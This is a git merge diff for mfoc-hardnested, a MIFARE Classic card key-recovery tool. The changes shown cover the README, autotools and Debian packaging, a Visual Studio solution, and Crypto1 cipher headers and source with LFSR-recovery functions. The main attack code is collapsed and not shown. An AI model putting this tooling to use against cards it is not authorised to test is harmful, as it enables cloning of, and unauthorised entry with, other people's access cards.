Merge branch 'test'

This commit is contained in:
Unknown 2020-06-24 22:23:23 +02:00
commit da8d1c8501
83 changed files with 90205 additions and 790 deletions

45
.gitignore vendored
View File

@ -17,7 +17,48 @@ src/*.o
src/.deps/ src/.deps/
src/Makefile src/Makefile
src/Makefile.in src/Makefile.in
src/mfoc src/mfoc-hardnested
src/mfoc.exe src/mfoc-hardnested.exe
stamp-h1 stamp-h1
*.o
.history/
config.sub
config.guess
src/hardnested/.dirstamp
src/hardnested/.deps/
.settings/
.project
.cproject
.autotools
x64/
.vs/
dist/
debian/.debhelper/
debian/mfoc-hardnested/
debian/autoreconf.after
debian/autoreconf.before
debian/debhelper-build-stamp
debian/files
debian/mfoc-hardnested.debhelper.log
debian/mfoc-hardnested.substvars
config.h.in~

View File

@ -1,20 +1,44 @@
MFOC is an open source implementation of "offline nested" attack by Nethemba. MFOC is an open source implementation of "offline nested" attack by Nethemba.
Later was added so called "hardnested" attack by Carlo Meijer and Roel Verdult.
This program allow to recover authentication keys from MIFARE Classic card. This program allow to recover authentication keys from MIFARE Classic card.
Please note MFOC is able to recover keys from target only if it have a known key: default one (hardcoded in MFOC) or custom one (user provided using command line). Please note MFOC is able to recover keys from target only if it have a known key: default one (hardcoded in MFOC) or custom one (user provided using command line).
# Build from source This is a port to win32 x64 platform using native tools (Visual Studio 2019 + LLVM clang-cl toolchain).
This tree was also reworked for gnu toolchain (autotool + gcc like the original).
Based on the idea by vk496 to integrate mylazycracker into mfoc, forked from his tree.
For credits (there are many) just look at the AUTHORS file.
Uses
libnfc https://github.com/nfc-tools/libnfc/
libusb-win32 https://sourceforge.net/projects/libusb-win32/files/libusb-win32-releases/1.2.6.0/
pthreads4w https://sourceforge.net/projects/pthreads4w/
liblzma https://tukaani.org/xz/
pthreads4w and liblzma are static linked.
All these libs are precompiled and included in src\lib
# Build from source
Windows:
Make sure you have Visual Studio 2019 with Desktop developement with C++, C++ Clang Compiler for Windows and C++ Clang-cl for v142 build tools installed.
Open the solution and start compile.
The compiled zip package will be in dist.
Linux:
``` ```
autoreconf -is autoreconf -vis
./configure ./configure
make && sudo make install make && sudo make install
``` ```
# Usage # # Usage #
Needs libusb0.dll and nfc.dll in the path, better on the same directory.
Needs to install libusbK v3.0.7.0, using Zadig https://zadig.akeo.ie/, go to Option, List All Devices, select your reader, select libusbK(v3.0.7.0) and click on replace driver.
Put one MIFARE Classic tag that you want keys recovering; Put one MIFARE Classic tag that you want keys recovering;
Lauching mfoc, you will need to pass options, see Lauching mfoc, you will need to pass options, see
``` ```
mfoc -h mfoc-hardnested -h
``` ```

View File

@ -1,4 +1,4 @@
AC_INIT([mfoc],[0.10.7],[mifare@nethemba.com]) AC_INIT([mfoc-hardnested],[0.10.9],[mifare@nethemba.com])
AC_CONFIG_MACRO_DIR([m4]) AC_CONFIG_MACRO_DIR([m4])
@ -6,7 +6,9 @@ AC_CONFIG_HEADERS([config.h])
AC_CONFIG_SRCDIR([src/mfoc.c]) AC_CONFIG_SRCDIR([src/mfoc.c])
AM_INIT_AUTOMAKE(dist-bzip2 no-dist-gzip) AM_INIT_AUTOMAKE([dist-bzip2 no-dist-gzip subdir-objects])
CFLAGS="$CFLAGS -O3"
AX_CFLAGS_WARN_ALL
AC_PROG_CC AC_PROG_CC
@ -16,6 +18,10 @@ m4_ifdef([AM_SILENT_RULES],[AM_SILENT_RULES([yes])])
LIBNFC_REQUIRED_VERSION=1.7.0 LIBNFC_REQUIRED_VERSION=1.7.0
PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ERROR([libnfc >= $LIBNFC_REQUIRED_VERSION is mandatory.])]) PKG_CHECK_MODULES([libnfc], [libnfc >= $LIBNFC_REQUIRED_VERSION], [], [AC_MSG_ERROR([libnfc >= $LIBNFC_REQUIRED_VERSION is mandatory.])])
PKG_CHECK_MODULES([liblzma], [liblzma], LIBS="$LIBS -llzma", [AC_MSG_ERROR([liblzma is mandatory.])])
ACX_PTHREAD(LIBS="$LIBS $PTHREAD_CFLAGS", [AC_MSG_ERROR([pthread is mandatory.])])
AC_CHECK_LIB(m, log, LIBS="$LIBS -lm", [AC_MSG_ERROR([math is mandatory.])])
PKG_CONFIG_REQUIRES="libnfc" PKG_CONFIG_REQUIRES="libnfc"
AC_SUBST([PKG_CONFIG_REQUIRES]) AC_SUBST([PKG_CONFIG_REQUIRES])
@ -34,8 +40,27 @@ AC_FUNC_MALLOC
AC_FUNC_REALLOC AC_FUNC_REALLOC
AC_CHECK_FUNCS([memset]) AC_CHECK_FUNCS([memset])
# x86 CPU features (without automatic gcc flags)
AC_CANONICAL_HOST
X86_SIMD=""
AS_CASE([$host_cpu],
[x86_64],
[
X86_SIMD="true"
],
[i?86],
[
X86_SIMD="true"
],
[amd64],
[
X86_SIMD="true"
],)
AC_SUBST([X86_SIMD])
AM_CONDITIONAL([X86_SIMD], [test x$X86_SIMD = xtrue])
# C99 # C99
CFLAGS="$CFLAGS -std=c99" CFLAGS="$CFLAGS -DX86_SIMD -std=c99"
AC_CONFIG_FILES([Makefile AC_CONFIG_FILES([Makefile
src/Makefile]) src/Makefile])

6
debian/changelog vendored
View File

@ -1,3 +1,9 @@
mfoc-hardnested (0.10.9) unstable; urgency=medium
* New upstream version 0.10.9
-- gelotus <gelotus@github.com> Wed, 24 Jun 2020 01:19:50 -0300
mfoc (0.10.7+git20180724-1) unstable; urgency=medium mfoc (0.10.7+git20180724-1) unstable; urgency=medium
* New upstream version 0.10.7+git20180724 * New upstream version 0.10.7+git20180724

12
debian/control vendored
View File

@ -1,15 +1,13 @@
Source: mfoc Source: mfoc-hardnested
Section: utils Section: utils
Priority: optional Priority: optional
Maintainer: Debian Security Tools <team+pkg-security@tracker.debian.org> Maintainer: gelotus <gelotus@github.com>
Uploaders: Samuel Henrique <samueloph@debian.org> Uploaders: gelotus <gelotus@github.com>
Build-Depends: debhelper (>= 11), libnfc-dev, pkg-config Build-Depends: debhelper (>= 11), libnfc-dev, pkg-config
Standards-Version: 4.1.5 Standards-Version: 4.1.5
Homepage: https://github.com/nfc-tools/mfoc Homepage: https://github.com/gelotus/mfoc
Vcs-Browser: https://salsa.debian.org/pkg-security-team/mfoc
Vcs-Git: https://salsa.debian.org/pkg-security-team/mfoc.git
Package: mfoc Package: mfoc-hardnested
Architecture: any Architecture: any
Depends: ${shlibs:Depends}, ${misc:Depends} Depends: ${shlibs:Depends}, ${misc:Depends}
Description: MIFARE Classic offline cracker Description: MIFARE Classic offline cracker

2
debian/manpages vendored
View File

@ -1 +1 @@
src/mfoc.1 src/mfoc-hardnested.1

2
debian/watch vendored
View File

@ -1,3 +1,3 @@
version=4 version=4
https://github.com/nfc-tools/mfoc/tags/ .*/mfoc-(.*)\.tar\.gz https://github.com/gelotus/mfoc/tags/ .*/mfoc-(.*)\.tar\.gz

309
m4/ax_pthread.m4 Normal file
View File

@ -0,0 +1,309 @@
# ===========================================================================
# http://www.gnu.org/software/autoconf-archive/ax_pthread.html
# ===========================================================================
#
# SYNOPSIS
#
# AX_PTHREAD([ACTION-IF-FOUND[, ACTION-IF-NOT-FOUND]])
#
# DESCRIPTION
#
# This macro figures out how to build C programs using POSIX threads. It
# sets the PTHREAD_LIBS output variable to the threads library and linker
# flags, and the PTHREAD_CFLAGS output variable to any special C compiler
# flags that are needed. (The user can also force certain compiler
# flags/libs to be tested by setting these environment variables.)
#
# Also sets PTHREAD_CC to any special C compiler that is needed for
# multi-threaded programs (defaults to the value of CC otherwise). (This
# is necessary on AIX to use the special cc_r compiler alias.)
#
# NOTE: You are assumed to not only compile your program with these flags,
# but also link it with them as well. e.g. you should link with
# $PTHREAD_CC $CFLAGS $PTHREAD_CFLAGS $LDFLAGS ... $PTHREAD_LIBS $LIBS
#
# If you are only building threads programs, you may wish to use these
# variables in your default LIBS, CFLAGS, and CC:
#
# LIBS="$PTHREAD_LIBS $LIBS"
# CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
# CC="$PTHREAD_CC"
#
# In addition, if the PTHREAD_CREATE_JOINABLE thread-attribute constant
# has a nonstandard name, defines PTHREAD_CREATE_JOINABLE to that name
# (e.g. PTHREAD_CREATE_UNDETACHED on AIX).
#
# Also HAVE_PTHREAD_PRIO_INHERIT is defined if pthread is found and the
# PTHREAD_PRIO_INHERIT symbol is defined when compiling with
# PTHREAD_CFLAGS.
#
# ACTION-IF-FOUND is a list of shell commands to run if a threads library
# is found, and ACTION-IF-NOT-FOUND is a list of commands to run it if it
# is not found. If ACTION-IF-FOUND is not specified, the default action
# will define HAVE_PTHREAD.
#
# Please let the authors know if this macro fails on any platform, or if
# you have any other suggestions or comments. This macro was based on work
# by SGJ on autoconf scripts for FFTW (http://www.fftw.org/) (with help
# from M. Frigo), as well as ac_pthread and hb_pthread macros posted by
# Alejandro Forero Cuervo to the autoconf macro repository. We are also
# grateful for the helpful feedback of numerous users.
#
# Updated for Autoconf 2.68 by Daniel Richard G.
#
# LICENSE
#
# Copyright (c) 2008 Steven G. Johnson <stevenj@alum.mit.edu>
# Copyright (c) 2011 Daniel Richard G. <skunk@iSKUNK.ORG>
#
# This program is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation, either version 3 of the License, or (at your
# option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
# Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program. If not, see <http://www.gnu.org/licenses/>.
#
# As a special exception, the respective Autoconf Macro's copyright owner
# gives unlimited permission to copy, distribute and modify the configure
# scripts that are the output of Autoconf when processing the Macro. You
# need not follow the terms of the GNU General Public License when using
# or distributing such scripts, even though portions of the text of the
# Macro appear in them. The GNU General Public License (GPL) does govern
# all other use of the material that constitutes the Autoconf Macro.
#
# This special exception to the GPL applies to versions of the Autoconf
# Macro released by the Autoconf Archive. When you make and distribute a
# modified version of the Autoconf Macro, you may extend this special
# exception to the GPL to apply to your modified version as well.
#serial 18
AU_ALIAS([ACX_PTHREAD], [AX_PTHREAD])
AC_DEFUN([AX_PTHREAD], [
AC_REQUIRE([AC_CANONICAL_HOST])
AC_LANG_PUSH([C])
ax_pthread_ok=no
# We used to check for pthread.h first, but this fails if pthread.h
# requires special compiler flags (e.g. on True64 or Sequent).
# It gets checked for in the link test anyway.
# First of all, check if the user has set any of the PTHREAD_LIBS,
# etcetera environment variables, and if threads linking works using
# them:
if test x"$PTHREAD_LIBS$PTHREAD_CFLAGS" != x; then
save_CFLAGS="$CFLAGS"
CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
save_LIBS="$LIBS"
LIBS="$PTHREAD_LIBS $LIBS"
AC_MSG_CHECKING([for pthread_join in LIBS=$PTHREAD_LIBS with CFLAGS=$PTHREAD_CFLAGS])
AC_TRY_LINK_FUNC(pthread_join, ax_pthread_ok=yes)
AC_MSG_RESULT($ax_pthread_ok)
if test x"$ax_pthread_ok" = xno; then
PTHREAD_LIBS=""
PTHREAD_CFLAGS=""
fi
LIBS="$save_LIBS"
CFLAGS="$save_CFLAGS"
fi
# We must check for the threads library under a number of different
# names; the ordering is very important because some systems
# (e.g. DEC) have both -lpthread and -lpthreads, where one of the
# libraries is broken (non-POSIX).
# Create a list of thread flags to try. Items starting with a "-" are
# C compiler flags, and other items are library names, except for "none"
# which indicates that we try without any flags at all, and "pthread-config"
# which is a program returning the flags for the Pth emulation library.
ax_pthread_flags="pthreads none -Kthread -kthread lthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config"
# The ordering *is* (sometimes) important. Some notes on the
# individual items follow:
# pthreads: AIX (must check this before -lpthread)
# none: in case threads are in libc; should be tried before -Kthread and
# other compiler flags to prevent continual compiler warnings
# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h)
# -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able)
# lthread: LinuxThreads port on FreeBSD (also preferred to -pthread)
# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads)
# -pthreads: Solaris/gcc
# -mthreads: Mingw32/gcc, Lynx/gcc
# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it
# doesn't hurt to check since this sometimes defines pthreads too;
# also defines -D_REENTRANT)
# ... -mt is also the pthreads flag for HP/aCC
# pthread: Linux, etcetera
# --thread-safe: KAI C++
# pthread-config: use pthread-config program (for GNU Pth library)
case ${host_os} in
solaris*)
# On Solaris (at least, for some versions), libc contains stubbed
# (non-functional) versions of the pthreads routines, so link-based
# tests will erroneously succeed. (We need to link with -pthreads/-mt/
# -lpthread.) (The stubs are missing pthread_cleanup_push, or rather
# a function called by this macro, so we could check for that, but
# who knows whether they'll stub that too in a future libc.) So,
# we'll just look for -pthreads and -lpthread first:
ax_pthread_flags="-pthreads pthread -mt -pthread $ax_pthread_flags"
;;
darwin*)
ax_pthread_flags="-pthread $ax_pthread_flags"
;;
esac
if test x"$ax_pthread_ok" = xno; then
for flag in $ax_pthread_flags; do
case $flag in
none)
AC_MSG_CHECKING([whether pthreads work without any flags])
;;
-*)
AC_MSG_CHECKING([whether pthreads work with $flag])
PTHREAD_CFLAGS="$flag"
;;
pthread-config)
AC_CHECK_PROG(ax_pthread_config, pthread-config, yes, no)
if test x"$ax_pthread_config" = xno; then continue; fi
PTHREAD_CFLAGS="`pthread-config --cflags`"
PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`"
;;
*)
AC_MSG_CHECKING([for the pthreads library -l$flag])
PTHREAD_LIBS="-l$flag"
;;
esac
save_LIBS="$LIBS"
save_CFLAGS="$CFLAGS"
LIBS="$PTHREAD_LIBS $LIBS"
CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
# Check for various functions. We must include pthread.h,
# since some functions may be macros. (On the Sequent, we
# need a special flag -Kthread to make this header compile.)
# We check for pthread_join because it is in -lpthread on IRIX
# while pthread_create is in libc. We check for pthread_attr_init
# due to DEC craziness with -lpthreads. We check for
# pthread_cleanup_push because it is one of the few pthread
# functions on Solaris that doesn't have a non-functional libc stub.
# We try pthread_create on general principles.
AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>
static void routine(void *a) { a = 0; }
static void *start_routine(void *a) { return a; }],
[pthread_t th; pthread_attr_t attr;
pthread_create(&th, 0, start_routine, 0);
pthread_join(th, 0);
pthread_attr_init(&attr);
pthread_cleanup_push(routine, 0);
pthread_cleanup_pop(0) /* ; */])],
[ax_pthread_ok=yes],
[])
LIBS="$save_LIBS"
CFLAGS="$save_CFLAGS"
AC_MSG_RESULT($ax_pthread_ok)
if test "x$ax_pthread_ok" = xyes; then
break;
fi
PTHREAD_LIBS=""
PTHREAD_CFLAGS=""
done
fi
# Various other checks:
if test "x$ax_pthread_ok" = xyes; then
save_LIBS="$LIBS"
LIBS="$PTHREAD_LIBS $LIBS"
save_CFLAGS="$CFLAGS"
CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
# Detect AIX lossage: JOINABLE attribute is called UNDETACHED.
AC_MSG_CHECKING([for joinable pthread attribute])
attr_name=unknown
for attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do
AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>],
[int attr = $attr; return attr /* ; */])],
[attr_name=$attr; break],
[])
done
AC_MSG_RESULT($attr_name)
if test "$attr_name" != PTHREAD_CREATE_JOINABLE; then
AC_DEFINE_UNQUOTED(PTHREAD_CREATE_JOINABLE, $attr_name,
[Define to necessary symbol if this constant
uses a non-standard name on your system.])
fi
AC_MSG_CHECKING([if more special flags are required for pthreads])
flag=no
case ${host_os} in
aix* | freebsd* | darwin*) flag="-D_THREAD_SAFE";;
osf* | hpux*) flag="-D_REENTRANT";;
solaris*)
if test "$GCC" = "yes"; then
flag="-D_REENTRANT"
else
flag="-mt -D_REENTRANT"
fi
;;
esac
AC_MSG_RESULT(${flag})
if test "x$flag" != xno; then
PTHREAD_CFLAGS="$flag $PTHREAD_CFLAGS"
fi
AC_CACHE_CHECK([for PTHREAD_PRIO_INHERIT],
ax_cv_PTHREAD_PRIO_INHERIT, [
AC_LINK_IFELSE([
AC_LANG_PROGRAM([[#include <pthread.h>]], [[int i = PTHREAD_PRIO_INHERIT;]])],
[ax_cv_PTHREAD_PRIO_INHERIT=yes],
[ax_cv_PTHREAD_PRIO_INHERIT=no])
])
AS_IF([test "x$ax_cv_PTHREAD_PRIO_INHERIT" = "xyes"],
AC_DEFINE([HAVE_PTHREAD_PRIO_INHERIT], 1, [Have PTHREAD_PRIO_INHERIT.]))
LIBS="$save_LIBS"
CFLAGS="$save_CFLAGS"
# More AIX lossage: must compile with xlc_r or cc_r
if test x"$GCC" != xyes; then
AC_CHECK_PROGS(PTHREAD_CC, xlc_r cc_r, ${CC})
else
PTHREAD_CC=$CC
fi
else
PTHREAD_CC="$CC"
fi
AC_SUBST(PTHREAD_LIBS)
AC_SUBST(PTHREAD_CFLAGS)
AC_SUBST(PTHREAD_CC)
# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND:
if test x"$ax_pthread_ok" = xyes; then
ifelse([$1],,AC_DEFINE(HAVE_PTHREAD,1,[Define if you have POSIX threads libraries and header files.]),[$1])
:
else
ax_pthread_ok=no
$2
fi
AC_LANG_POP
])dnl AX_PTHREAD

22
mfoc-hardnested.sln Normal file
View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.30204.135
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "mfoc-hardnested", "src\mfoc-hardnested.vcxproj", "{24EA25A3-9008-44C1-83DD-4A81D02FC478}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|x64 = Release|x64
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{24EA25A3-9008-44C1-83DD-4A81D02FC478}.Release|x64.ActiveCfg = Release|x64
{24EA25A3-9008-44C1-83DD-4A81D02FC478}.Release|x64.Build.0 = Release|x64
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {5F6B83D6-F03F-45AB-85A5-44DC197A2079}
EndGlobalSection
EndGlobal

View File

@ -1,10 +1,39 @@
AM_CFLAGS = @libnfc_CFLAGS@ AM_CFLAGS = @libnfc_CFLAGS@
bin_PROGRAMS = mfoc bin_PROGRAMS = mfoc-hardnested
noinst_HEADERS = crapto1.h mfoc.h mifare.h nfc-utils.h noinst_HEADERS = crapto1.h mfoc.h mifare.h nfc-utils.h parity.h hardnested/hardnested_bruteforce.h hardnested/tables.h hardnested/hardnested_cpu_dispatch.h cmdhfmfhard.h util.h util_posix.h ui.h bf_bench_data.h
mfoc_SOURCES = crapto1.c crypto1.c mfoc.c mifare.c nfc-utils.c mfoc_hardnested_SOURCES = crapto1.c crypto1.c mfoc.c mifare.c nfc-utils.c parity.c hardnested/hardnested_cpu_dispatch.c hardnested/hardnested_bruteforce.c hardnested/tables.c cmdhfmfhard.c util.c util_posix.c ui.c
mfoc_LDADD = @libnfc_LIBS@ mfoc_hardnested_LDADD = @libnfc_LIBS@ $(SIMD)
dist_man_MANS = mfoc.1 dist_man_MANS = mfoc-hardnested.1
HARD_SWITCH_SSE2 = -mmmx -msse2 -mno-avx -mno-avx2 -mno-avx512f
HARD_SWITCH_AVX = -mmmx -msse2 -mavx -mno-avx2 -mno-avx512f
HARD_SWITCH_AVX2 = -mmmx -msse2 -mavx -mavx2 -mno-avx512f
HARD_SWITCH_AVX512 = -mmmx -msse2 -mavx -mavx2 -mavx512f
if X86_SIMD
SIMD = hardnested/hardnested_bf_core_SSE2.o hardnested/hardnested_bf_core_AVX.o hardnested/hardnested_bf_core_AVX2.o hardnested/hardnested_bf_core_AVX512.o hardnested/hardnested_bitarray_core_SSE2.o hardnested/hardnested_bitarray_core_AVX.o hardnested/hardnested_bitarray_core_AVX2.o hardnested/hardnested_bitarray_core_AVX512.o
hardnested/%_SSE2.o : hardnested/%_SSE2.c
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_SSE2) -c -o $@ $<
hardnested/%_AVX.o : hardnested/%_AVX.c
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX) -c -o $@ $<
hardnested/%_AVX2.o : hardnested/%_AVX2.c
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX2) -c -o $@ $<
hardnested/%_AVX512.o : hardnested/%_AVX512.c
$(CC) $(DEPFLAGS) $(CFLAGS) $(HARD_SWITCH_AVX512) -c -o $@ $<
else
SIMDOBJ = hardnested/hardnested_bf_core_NOSIMD.o hardnested/hardnested_bitarray_core_NOSIMD.o
hardnested/%_NOSIMD.o : hardnested/%.c
$(CC) $(DEPFLAGS) $(CFLAGS) -c -o $@ $<
endif

6681
src/bf_bench_data.h Normal file

File diff suppressed because it is too large Load Diff

1771
src/cmdhfmfhard.c Normal file

File diff suppressed because it is too large Load Diff

60
src/cmdhfmfhard.h Normal file
View File

@ -0,0 +1,60 @@
//-----------------------------------------------------------------------------
// Copyright (C) 2015 piwi
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// hf mf hardnested command
//-----------------------------------------------------------------------------
#ifndef CMDHFMFHARD_H__
#define CMDHFMFHARD_H__
#include <stdint.h>
#include <stdbool.h>
#include "mfoc.h"
#define NUM_SUMS 19 // number of possible sum property values
typedef enum {
EVEN_STATE = 0,
ODD_STATE = 1
} odd_even_t;
typedef enum {
TO_BE_DONE,
WORK_IN_PROGRESS,
COMPLETED
} work_status_t;
typedef struct guess_sum_a8 {
float prob;
uint64_t num_states;
uint8_t sum_a8_idx;
} guess_sum_a8_t;
typedef struct noncelistentry {
uint32_t nonce_enc;
uint8_t par_enc;
void *next;
} noncelistentry_t;
typedef struct noncelist {
uint16_t num;
uint16_t Sum;
guess_sum_a8_t sum_a8_guess[NUM_SUMS];
bool sum_a8_guess_dirty;
float expected_num_brute_force;
uint8_t BitFlips[0x400];
uint32_t *states_bitarray[2];
uint32_t num_states_bitarray[2];
bool all_bitflips_dirty[2];
noncelistentry_t *first;
} noncelist_t;
int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType);
void hardnested_print_progress(uint32_t nonces, char *activity, float brute_force, uint64_t min_diff_print_time, uint8_t trgKeyBlock, uint8_t trgKeyType, bool newline);
#endif

5
src/config_w.h Normal file
View File

@ -0,0 +1,5 @@
/* Define to 1 if you have the <stdint.h> header file. */
#define HAVE_STDINT_H 1
/* Define to the version of this package. */
#define PACKAGE_VERSION "0.10.9 hardnested (gelotus)"

File diff suppressed because it is too large Load Diff

View File

@ -15,8 +15,8 @@
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, US$ MA 02110-1301, US$
Copyright (C) 2008-2009 bla <blapost@gmail.com> Copyright (C) 2008-2014 bla <blapost@gmail.com>
*/ */
#ifndef CRAPTO1_INCLUDED #ifndef CRAPTO1_INCLUDED
#define CRAPTO1_INCLUDED #define CRAPTO1_INCLUDED
#include <stdint.h> #include <stdint.h>
@ -25,66 +25,45 @@
extern "C" { extern "C" {
#endif #endif
struct Crypto1State {uint32_t odd, even;}; struct Crypto1State {
struct Crypto1State *crypto1_create(uint64_t); uint32_t odd, even;
void crypto1_destroy(struct Crypto1State *); };
void crypto1_get_lfsr(struct Crypto1State *, uint64_t *); struct Crypto1State *crypto1_create(uint64_t key);
uint8_t crypto1_bit(struct Crypto1State *, uint8_t, int); void crypto1_destroy(struct Crypto1State*);
uint8_t crypto1_byte(struct Crypto1State *, uint8_t, int); void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
uint32_t crypto1_word(struct Crypto1State *, uint32_t, int); uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
uint32_t prng_successor(uint32_t x, uint32_t n); uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
uint32_t prng_successor(uint32_t x, uint32_t n);
struct Crypto1State *lfsr_recovery32(uint32_t ks2, uint32_t in); struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
struct Crypto1State *lfsr_recovery64(uint32_t ks2, uint32_t ks3); struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8], uint32_t no_par);
void lfsr_rollback(struct Crypto1State *s, uint32_t in, int fb);
uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb); uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
int nonce_distance(uint32_t from, uint32_t to); uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
bool validate_prng_nonce(uint32_t nonce); uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\ int nonce_distance(uint32_t from, uint32_t to);
uint32_t __n = 0,__M = 0, N = 0;\ bool validate_prng_nonce(uint32_t nonce);
int __i;\
for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
for(__i = FSIZE - 1; __i >= 0; __i--)\
if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
break;\
else if(__i)\
__M = prng_successor(__M, (__i == 7) ? 48 : 8);\
else
#define LF_POLY_ODD (0x29CE5C) #define LF_POLY_ODD (0x29CE5C)
#define LF_POLY_EVEN (0x870804) #define LF_POLY_EVEN (0x870804)
#define BIT(x, n) ((x) >> (n) & 1) #define BIT(x, n) ((x) >> (n) & 1)
#define BEBIT(x, n) BIT(x, (n) ^ 24) #define BEBIT(x, n) BIT(x, (n) ^ 24)
static inline int parity(uint32_t x)
{
#if !defined __i386__ || !defined __GNUC__
x ^= x >> 16;
x ^= x >> 8;
x ^= x >> 4;
return BIT(0x6996, x & 0xf);
#else
__asm__("movl %1, %%eax\n"
"mov %%ax, %%cx\n"
"shrl $0x10, %%eax\n"
"xor %%ax, %%cx\n"
"xor %%ch, %%cl\n"
"setpo %%al\n"
"movzx %%al, %0\n": "=r"(x) : "r"(x): "eax", "ecx");
return x;
#endif
}
static inline int filter(uint32_t const x)
{
uint32_t f;
f = 0xf22c0 >> (x & 0xf) & 16; static inline int filter(uint32_t const x) {
f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8; uint32_t f;
f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
f |= 0x1e458 >> (x >> 12 & 0xf) & 2; f = 0xf22c0 >> (x & 0xf) & 16;
f |= 0x0d938 >> (x >> 16 & 0xf) & 1; f |= 0x6c9c0 >> (x >> 4 & 0xf) & 8;
return BIT(0xEC57E80A, f); f |= 0x3c8b0 >> (x >> 8 & 0xf) & 4;
} f |= 0x1e458 >> (x >> 12 & 0xf) & 2;
f |= 0x0d938 >> (x >> 16 & 0xf) & 1;
return BIT(0xEC57E80A, f);
}
#ifdef __cplusplus #ifdef __cplusplus
} }
#endif #endif

View File

@ -1,92 +1,93 @@
/* crypto1.c /* crypto1.c
This program is free software; you can redistribute it and/or This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2 as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version. of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful, This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details. GNU General Public License for more details.
You should have received a copy of the GNU General Public License You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
MA 02110-1301, US MA 02110-1301, US
Copyright (C) 2008-2008 bla <blapost@gmail.com> Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/ */
#include "crapto1.h" #include "crapto1.h"
#include <stdlib.h> #include <stdlib.h>
#include "parity.h"
#define SWAPENDIAN(x)\ #define SWAPENDIAN(x)\
(x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16) (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)
struct Crypto1State *crypto1_create(uint64_t key) { struct Crypto1State * crypto1_create(uint64_t key) {
struct Crypto1State *s = malloc(sizeof(*s)); struct Crypto1State *s = malloc(sizeof (*s));
int i; int i;
for (i = 47; s && i > 0; i -= 2) { for (i = 47; s && i > 0; i -= 2) {
s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7); s->odd = s->odd << 1 | BIT(key, (i - 1) ^ 7);
s->even = s->even << 1 | BIT(key, i ^ 7); s->even = s->even << 1 | BIT(key, i ^ 7);
} }
return s; return s;
} }
void crypto1_destroy(struct Crypto1State *state)
{ void crypto1_destroy(struct Crypto1State *state) {
free(state); free(state);
} }
